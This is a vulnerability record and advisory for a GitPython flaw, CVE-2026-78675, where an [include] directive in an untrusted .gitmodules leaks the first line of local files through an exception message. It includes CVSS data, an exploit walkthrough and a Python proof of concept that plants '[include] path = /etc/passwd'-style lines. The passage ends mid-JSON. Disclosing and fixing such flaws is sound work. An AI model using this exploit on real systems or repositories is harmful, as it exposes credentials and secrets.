Action not permitted
Modal body text goes here.
Modal Title
Modal Body
CVE-2026-78675 (GCVE-0-2026-78675)
Vulnerability from cvelistv5 – Published: 2026-08-25 01:30 – Updated: 2026-08-25 12:52- CWE-73 - External Control of File Name or Path
| URL | Tags |
|---|---|
| https://github.com/gitpython-developers/GitPython… | vendor-advisory |
| https://www.vulncheck.com/advisories/gitpython-be… | third-party-advisory |
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| gitpython-developers | GitPython |
Affected:
0 , < 3.1.59
(semver)
Unaffected: 3.1.59 (semver) cpe:2.3:a:gitpython_project:gitpython:*:*:*:*:*:*:*:* |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-78675",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-25T12:52:14.332502Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-25T12:52:44.531Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7833-fr7j-v32q"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"packageURL": "pkg:pypi/GitPython",
"product": "GitPython",
"vendor": "gitpython-developers",
"versions": [
{
"lessThan": "3.1.59",
"status": "affected",
"version": "0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "3.1.59",
"versionType": "semver"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gitpython_project:gitpython:*:*:*:*:*:*:*:*",
"versionEndExcluding": "3.1.59",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "reporter",
"value": "Pig-Tail"
}
],
"datePublic": "2026-08-10T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "GitPython before 3.1.59 fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives. Attackers can craft a malicious .gitmodules file with include directives pointing to sensitive files; when repo.submodules is accessed, GitConfigParser raises MissingSectionHeaderError embedding the target file\u0027s first line verbatim in the exception message."
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "LOCAL",
"baseScore": 8.6,
"baseSeverity": "HIGH",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS"
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 8.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-73",
"description": "External Control of File Name or Path",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-25T01:30:32.739Z",
"orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"shortName": "VulnCheck"
},
"references": [
{
"name": "GitHub Security Advisory (GHSA-7833-fr7j-v32q)",
"tags": [
"vendor-advisory"
],
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7833-fr7j-v32q"
},
{
"name": "VulnCheck Advisory: GitPython before 3.1.59 Local File Content Disclosure via .gitmodules",
"tags": [
"third-party-advisory"
],
"url": "https://www.vulncheck.com/advisories/gitpython-before-local-file-content-disclosure-via-gitmodules"
}
],
"title": "GitPython before 3.1.59 Local File Content Disclosure via .gitmodules",
"x_generator": {
"engine": "vulncheck-endgame"
}
}
},
"cveMetadata": {
"assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"assignerShortName": "VulnCheck",
"cveId": "CVE-2026-78675",
"datePublished": "2026-08-25T01:30:32.739Z",
"dateReserved": "2026-08-25T01:17:12.262Z",
"dateUpdated": "2026-08-25T12:52:44.531Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-78675",
"date": "2026-09-19",
"epss": "0.00119",
"percentile": "0.02042"
},
"nvd": {
"cve": {
"affected": [
{
"affectedData": [
{
"defaultStatus": "unaffected",
"packageURL": "pkg:pypi/GitPython",
"product": "GitPython",
"vendor": "gitpython-developers",
"versions": [
{
"lessThan": "3.1.59",
"status": "affected",
"version": "0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "3.1.59",
"versionType": "semver"
}
]
}
],
"source": "disclosure@vulncheck.com"
}
],
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gitpython_project:gitpython:*:*:*:*:*:python:*:*",
"matchCriteriaId": "D8F63184-E04E-4384-955E-8478331F9CBD",
"versionEndExcluding": "3.1.59",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "GitPython before 3.1.59 fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives. Attackers can craft a malicious .gitmodules file with include directives pointing to sensitive files; when repo.submodules is accessed, GitConfigParser raises MissingSectionHeaderError embedding the target file\u0027s first line verbatim in the exception message."
}
],
"id": "CVE-2026-78675",
"lastModified": "2026-09-02T19:26:24.523",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 8.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.5,
"impactScore": 5.9,
"source": "disclosure@vulncheck.com",
"type": "Secondary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": [
{
"cvssData": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "LOCAL",
"availabilityRequirement": "NOT_DEFINED",
"baseScore": 8.6,
"baseSeverity": "HIGH",
"confidentialityRequirement": "NOT_DEFINED",
"exploitMaturity": "NOT_DEFINED",
"integrityRequirement": "NOT_DEFINED",
"modifiedAttackComplexity": "NOT_DEFINED",
"modifiedAttackRequirements": "NOT_DEFINED",
"modifiedAttackVector": "NOT_DEFINED",
"modifiedPrivilegesRequired": "NOT_DEFINED",
"modifiedSubAvailabilityImpact": "NOT_DEFINED",
"modifiedSubConfidentialityImpact": "NOT_DEFINED",
"modifiedSubIntegrityImpact": "NOT_DEFINED",
"modifiedUserInteraction": "NOT_DEFINED",
"modifiedVulnAvailabilityImpact": "NOT_DEFINED",
"modifiedVulnConfidentialityImpact": "NOT_DEFINED",
"modifiedVulnIntegrityImpact": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"source": "disclosure@vulncheck.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-78675",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-25T12:52:14.332502Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-08-25T02:16:51.887",
"references": [
{
"source": "disclosure@vulncheck.com",
"tags": [
"Exploit",
"Vendor Advisory",
"Mitigation"
],
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7833-fr7j-v32q"
},
{
"source": "disclosure@vulncheck.com",
"tags": [
"Third Party Advisory"
],
"url": "https://www.vulncheck.com/advisories/gitpython-before-local-file-content-disclosure-via-gitmodules"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"tags": [
"Exploit",
"Vendor Advisory",
"Mitigation"
],
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7833-fr7j-v32q"
}
],
"sourceIdentifier": "disclosure@vulncheck.com",
"vulnStatus": "Analyzed",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-73"
}
],
"source": "disclosure@vulncheck.com",
"type": "Secondary"
}
]
}
},
"redhat_vex": {
"aggregate_severity": "Moderate",
"current_release_date": "2026-09-10T07:53:06+00:00",
"cve": "CVE-2026-78675",
"id": "CVE-2026-78675",
"initial_release_date": "2026-08-25T01:30:32.739000+00:00",
"product_status:known_affected": "65",
"product_status:known_not_affected": "4",
"source": "Red Hat CSAF VEX",
"status": "final",
"title": "GitPython: GitPython: Local file content disclosure via malicious .gitmodules",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-78675.json",
"version": "3"
},
"vulnrichment": {
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-78675",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-25T12:52:14.332502Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-25T12:52:33.716Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7833-fr7j-v32q"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"packageURL": "pkg:pypi/GitPython",
"product": "GitPython",
"vendor": "gitpython-developers",
"versions": [
{
"lessThan": "3.1.59",
"status": "affected",
"version": "0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "3.1.59",
"versionType": "semver"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gitpython_project:gitpython:*:*:*:*:*:*:*:*",
"versionEndExcluding": "3.1.59",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "reporter",
"value": "Pig-Tail"
}
],
"datePublic": "2026-08-10T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "GitPython before 3.1.59 fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives. Attackers can craft a malicious .gitmodules file with include directives pointing to sensitive files; when repo.submodules is accessed, GitConfigParser raises MissingSectionHeaderError embedding the target file\u0027s first line verbatim in the exception message."
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "LOCAL",
"baseScore": 8.6,
"baseSeverity": "HIGH",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS"
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 8.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-73",
"description": "External Control of File Name or Path",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-25T01:30:32.739Z",
"orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"shortName": "VulnCheck"
},
"references": [
{
"name": "GitHub Security Advisory (GHSA-7833-fr7j-v32q)",
"tags": [
"vendor-advisory"
],
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7833-fr7j-v32q"
},
{
"name": "VulnCheck Advisory: GitPython before 3.1.59 Local File Content Disclosure via .gitmodules",
"tags": [
"third-party-advisory"
],
"url": "https://www.vulncheck.com/advisories/gitpython-before-local-file-content-disclosure-via-gitmodules"
}
],
"title": "GitPython before 3.1.59 Local File Content Disclosure via .gitmodules",
"x_generator": {
"engine": "vulncheck-endgame"
}
}
},
"cveMetadata": {
"assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"assignerShortName": "VulnCheck",
"cveId": "CVE-2026-78675",
"datePublished": "2026-08-25T01:30:32.739Z",
"dateReserved": "2026-08-25T01:17:12.262Z",
"dateUpdated": "2026-08-25T12:52:44.531Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
BREW-NBDIME-CVE-2026-78675 (PYSEC-2026-3785)
Vulnerability from osv_homebrew – Published: 2026-09-04 09:36 – Updated: 2026-09-17 19:30 – Source website[HIGH] Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)
- CWE: CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path)
- Affected component:
git/objects/submodule/base.py,Submodule._config_parser()(~line 273) constructingSubmoduleConfigParser(fp_module, read_only=read_only);git/config.py,GitConfigParser.__init__(merge_includesdefault),GitConfigParser.read()/_included_paths()(include-path resolution, ~lines 630-685),GitConfigParser._read()(~line 493-498,MissingSectionHeaderError) - Affected version: GitPython at HEAD (
9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION3.1.58)
Reachability
GitConfigParser.__init__ defaults merge_includes=True: any config file it parses has its [include] (and, when a repo= is supplied, [includeIf ...]) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit 41ecc6a4 ("Disable merge_includes in config writers"), which passes merge_includes=False when Repo.config_writer() builds its parser (git/repo/base.py).
That fix never touched Submodule._config_parser(). This method builds the parser used for every read of a repo's submodule configuration — repo.submodules, Submodule.iter_items(), Submodule.config() — via SubmoduleConfigParser(fp_module, read_only=read_only), passing neither merge_includes=False nor repo=. The True class default is therefore inherited unchanged, and fp_module here is .gitmodules — the single most attacker-controlled config file in the entire codebase, since it ships verbatim as tracked content inside any cloned repository.
GitConfigParser.read()'s include-path resolution (~line 662-680) performs no containment check: osp.isabs(include_path) short-circuits the path join entirely for an absolute path, and a relative path is joined with osp.join(osp.dirname(file_path), include_path) / osp.normpath()'d with no check that the result stays under the repository. ~ is expanded via osp.expanduser. The only gate before opening is os.access(include_path, os.R_OK) — a readability check, not a path restriction.
Once opened, GitConfigParser._read() parses the target file as git-config INI. If the first non-blank/non-comment line is not a [section] header — true of virtually any non-gitconfig file (source code, /etc/passwd, .env files, credential files, logs, JSON/YAML) — it raises configparser.MissingSectionHeaderError(fpname, lineno, line). Python's stdlib formats this exception's str() as "File contains no section headers.\nfile: %r, line: %d\n%r" % (fpname, lineno, line) — it embeds the verbatim content of that file's first line in the exception message. Submodule.iter_items() catches only (IOError, BadName), not configparser.Error, so this exception propagates straight out of the ordinary, read-only repo.submodules call.
Root cause
Parity gap between two config-parser construction sites for the exact same footgun: Repo.config_writer() was hardened against merge_includes in 2023 (41ecc6a4); Submodule._config_parser() — which parses .gitmodules, content that is always attacker-controlled the moment a repository is cloned from an untrusted source — was never given the same treatment. (The submodule write-mode config parser at git/objects/submodule/base.py for .git/modules/<name>/config — a different, locally-generated file — has correctly passed merge_includes=False since 2022, underscoring that the omission for .gitmodules reads looks like an oversight rather than a considered exception.)
Exploit path
- Attacker crafts a repository whose
.gitmodulescontains a legitimate-looking[submodule ...]section plus:[include] path = /etc/passwd(an absolute path bypasses any traversal reasoning entirely; a relative../../../../etc/passwd-style path works too). - Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo's submodules:
list(repo.submodules)(or anyfor sm in repo.submodules) — noupdate(),init(), or checkout of any kind required. SubmoduleConfigParser(inheritingmerge_includes=True) follows the[include]directive, opens/etc/passwd, andGitConfigParser._read()raisesMissingSectionHeaderErrorwhose message embeds/etc/passwd's first line verbatim.- This exception surfaces wherever the host application observes exceptions from GitPython — CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on
repo.submodules— disclosing the targeted file's first line to the attacker (directly, or indirectly via any channel that echoes the error).
Impact
Non-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first MissingSectionHeaderError), but that line very often is the secret — .env files (DATABASE_URL=..., API_KEY=...), single-line credential/token files, /etc/passwd's root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly blind GHSA-cwvm-v4w8-q58c ("Blind local file inclusion", CVSS 4.0, git/refs/symbolic.py ref-name resolution) — that advisory's own writeup states it cannot disclose content; this one does, verbatim, via a different module (git/config.py's include resolution).
Preconditions
- Victim clones (or otherwise opens with GitPython) a repository whose
.gitmodulesis attacker-controlled — the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, "audit this repo" utilities — exactly the class of application GitPython itself is built for). - Victim performs any operation that touches
repo.submodules— one of the most ordinary GitPython operations, requiring no submoduleupdate/init/checkout. - No authentication/role requirement inside GitPython itself.
Evidence
git/config.py—GitConfigParser.__init__defaultsmerge_includes=True.git/objects/submodule/base.py:273—SubmoduleConfigParser(fp_module, read_only=read_only)passes neithermerge_includesnorrepo=;git blameshows this call unchanged since the class was introduced, andgit show 41ecc6a4confirms that commit touched onlygit/repo/base.py'sRepo.config_writer(), never this call site.git/config.py_included_paths()/read()(~630-685) — absolute include paths bypass the join/normpath entirely (osp.isabs()short-circuit); no repository-boundary containment check exists anywhere in this path.git/config.py_read()(~493-498) — raisescp.MissingSectionHeaderError(fpname, lineno, line)with the raw file line embedded, matching Python stdlibconfigparser's own__str__behavior.Submodule.iter_items()catches only(IOError, BadName)—configparser.Error(the base ofMissingSectionHeaderError) is not swallowed.- PoC (
gitpython-003-poc.py, embedded below) reproduces this end-to-end against this exact checkout via the public API only (Repo.clone_from+list(repo.submodules), default arguments, no monkeypatching), against both a throwaway secret file and/etc/passwd.
False-positive check (adversarial re-read)
- Is this the same bug as
GHSA-hmq2-w58f-27jc? No — that advisory is about the.gitmodulessubmodule name driving_module_abspath/os.makedirs()(creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the[include]directive in the same file reaching a config-parser read primitive — a different mechanism, different function, different impact class (content disclosure, not directory creation). - Is this the same bug as
GHSA-cwvm-v4w8-q58c(blind LFI)? No — that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives ingit/refs/symbolic.py's ref-name resolution feedingRepo.commit/tree/index.diff— an entirely different module and code path. This finding discloses actual file content viagit/config.py's include-directive resolution. - Is the impact overstated given only one line leaks? No — this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard
clone_from+list(repo.submodules)workflow. - Could the exception simply be silently swallowed by GitPython before reaching the caller? No — confirmed by reading
Submodule.iter_items()'s exception handling, which catches onlyIOError/BadName;configparser.MissingSectionHeaderErrorpropagates uncaught. - Verdict: no concrete blocker found. CONFIRMED — reproduced independently against both a throwaway secret file and
/etc/passwd.
Remediation
Pass merge_includes=False when constructing SubmoduleConfigParser in Submodule._config_parser() (git/objects/submodule/base.py), mirroring the existing fix in Repo.config_writer() (commit 41ecc6a4) — .gitmodules content is always attacker-controlled and should never be allowed to pull in include/includeIf directives. As defense in depth, GitConfigParser.read()'s include-path resolution should enforce that resolved include paths stay within the repository's own directory tree, and parsing-error messages (MissingSectionHeaderError/ParsingError) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.
Confidence
High. Root cause confirmed by direct code reading across both git/config.py and git/objects/submodule/base.py, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and /etc/passwd).
Proof-of-Concept source (gitpython-003-poc.py)
#!/usr/bin/env python3
"""
GITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped
inside a cloned repository -- can contain `[include] path = <any local path>`.
`Submodule._config_parser()` builds the parser used for `repo.submodules` (and
other submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)`
without passing `merge_includes=False`, so the class default `merge_includes=True`
is inherited. GitConfigParser then opens the target file; if it isn't valid
git-config syntax (true of virtually any non-gitconfig file), Python's
`configparser.MissingSectionHeaderError` embeds the file's first line verbatim
in its exception message, which propagates out of the ordinary, read-only
`repo.submodules` call -- a non-blind local file content disclosure primitive.
Run:
PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-003-poc.py <workdir> <target-file>
Benign: reads only the given <target-file> (defaults to a throwaway secret file
created under <workdir> if omitted) and never writes/exfiltrates it anywhere
except printing it locally to prove the primitive. No destructive action.
"""
import os
import subprocess
import sys
def main():
workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-003-poc"
target_file = sys.argv[2] if len(sys.argv) > 2 else os.path.join(workdir, "secret.txt")
attacker_repo = os.path.join(workdir, "attacker-repo")
dest = os.path.join(workdir, "dest")
for p in (attacker_repo, dest):
os.makedirs(p, exist_ok=True)
if not os.path.exists(target_file):
os.makedirs(os.path.dirname(target_file), exist_ok=True)
with open(target_file, "w") as f:
f.write("TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\n")
subprocess.run(["git", "init", "-q", "-b", "main", attacker_repo], check=True)
subprocess.run(["git", "-C", attacker_repo, "config", "user.email", "a@example.com"], check=True)
subprocess.run(["git", "-C", attacker_repo, "config", "user.name", "Attacker"], check=True)
with open(os.path.join(attacker_repo, "file.txt"), "w") as f:
f.write("hello\n")
with open(os.path.join(attacker_repo, ".gitmodules"), "w") as f:
f.write(
'[submodule "totally-normal-dep"]\n'
"\tpath = vendor/dep\n"
"\turl = https://example.com/dep.git\n"
"[include]\n"
"\tpath = %s\n" % target_file
)
subprocess.run(["git", "-C", attacker_repo, "add", "file.txt", ".gitmodules"], check=True)
subprocess.run(["git", "-C", attacker_repo, "commit", "-q", "-m", "init"], check=True)
import git # gitpython under test
import configparser
repo = git.Repo.clone_from(attacker_repo, dest)
try:
subs = list(repo.submodules)
print("NOT VULNERABLE: no exception raised, submodules =", subs)
sys.exit(1)
except configparser.MissingSectionHeaderError as e:
msg = str(e)
print("VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:")
print(msg)
with open(target_file) as f:
first_line = f.readline().rstrip("\n")
if first_line in msg:
print("Confirmed: target file's first line is present verbatim in the exception message.")
sys.exit(0)
else:
print("NOT VULNERABLE: exception message did not contain the expected content")
sys.exit(1)
if __name__ == "__main__":
main()
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.61",
"upstream_fixed_in": "3.1.59"
},
"package": {
"ecosystem": "Homebrew",
"name": "nbdime",
"purl": "pkg:brew/nbdime"
},
"ranges": [
{
"events": [
{
"introduced": "1.1.0"
},
{
"fixed": "4.0.4_8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.61",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.61"
}
]
},
"details": "# [HIGH] Arbitrary local file content disclosure via `[include]` directive in untrusted `.gitmodules` (`SubmoduleConfigParser` never disables `merge_includes`)\n\n- **CWE:** CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path)\n- **Affected component:** `git/objects/submodule/base.py`, `Submodule._config_parser()` (~line 273) constructing `SubmoduleConfigParser(fp_module, read_only=read_only)`; `git/config.py`, `GitConfigParser.__init__` (`merge_includes` default), `GitConfigParser.read()`/`_included_paths()` (include-path resolution, ~lines 630-685), `GitConfigParser._read()` (~line 493-498, `MissingSectionHeaderError`)\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\n`GitConfigParser.__init__` defaults `merge_includes=True`: any config file it parses has its `[include]` (and, when a `repo=` is supplied, `[includeIf ...]`) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit `41ecc6a4` (\"Disable merge_includes in config writers\"), which passes `merge_includes=False` when `Repo.config_writer()` builds its parser (`git/repo/base.py`).\n\nThat fix never touched `Submodule._config_parser()`. This method builds the parser used for **every** read of a repo\u0027s submodule configuration \u2014 `repo.submodules`, `Submodule.iter_items()`, `Submodule.config()` \u2014 via `SubmoduleConfigParser(fp_module, read_only=read_only)`, passing neither `merge_includes=False` nor `repo=`. The `True` class default is therefore inherited unchanged, and `fp_module` here is `.gitmodules` \u2014 **the single most attacker-controlled config file in the entire codebase**, since it ships verbatim as tracked content inside any cloned repository.\n\n`GitConfigParser.read()`\u0027s include-path resolution (~line 662-680) performs no containment check: `osp.isabs(include_path)` short-circuits the path join entirely for an absolute path, and a relative path is joined with `osp.join(osp.dirname(file_path), include_path)` / `osp.normpath()`\u0027d with no check that the result stays under the repository. `~` is expanded via `osp.expanduser`. The only gate before opening is `os.access(include_path, os.R_OK)` \u2014 a readability check, not a path restriction.\n\nOnce opened, `GitConfigParser._read()` parses the target file as git-config INI. If the first non-blank/non-comment line is not a `[section]` header \u2014 true of virtually any non-gitconfig file (source code, `/etc/passwd`, `.env` files, credential files, logs, JSON/YAML) \u2014 it raises `configparser.MissingSectionHeaderError(fpname, lineno, line)`. Python\u0027s stdlib formats this exception\u0027s `str()` as `\"File contains no section headers.\\nfile: %r, line: %d\\n%r\" % (fpname, lineno, line)` \u2014 it embeds the **verbatim content** of that file\u0027s first line in the exception message. `Submodule.iter_items()` catches only `(IOError, BadName)`, not `configparser.Error`, so this exception propagates straight out of the ordinary, read-only `repo.submodules` call.\n\n## Root cause\nParity gap between two config-parser construction sites for the exact same footgun: `Repo.config_writer()` was hardened against `merge_includes` in 2023 (`41ecc6a4`); `Submodule._config_parser()` \u2014 which parses `.gitmodules`, content that is *always* attacker-controlled the moment a repository is cloned from an untrusted source \u2014 was never given the same treatment. (The submodule *write*-mode config parser at `git/objects/submodule/base.py` for `.git/modules/\u003cname\u003e/config` \u2014 a different, locally-generated file \u2014 has correctly passed `merge_includes=False` since 2022, underscoring that the omission for `.gitmodules` reads looks like an oversight rather than a considered exception.)\n\n## Exploit path\n1. Attacker crafts a repository whose `.gitmodules` contains a legitimate-looking 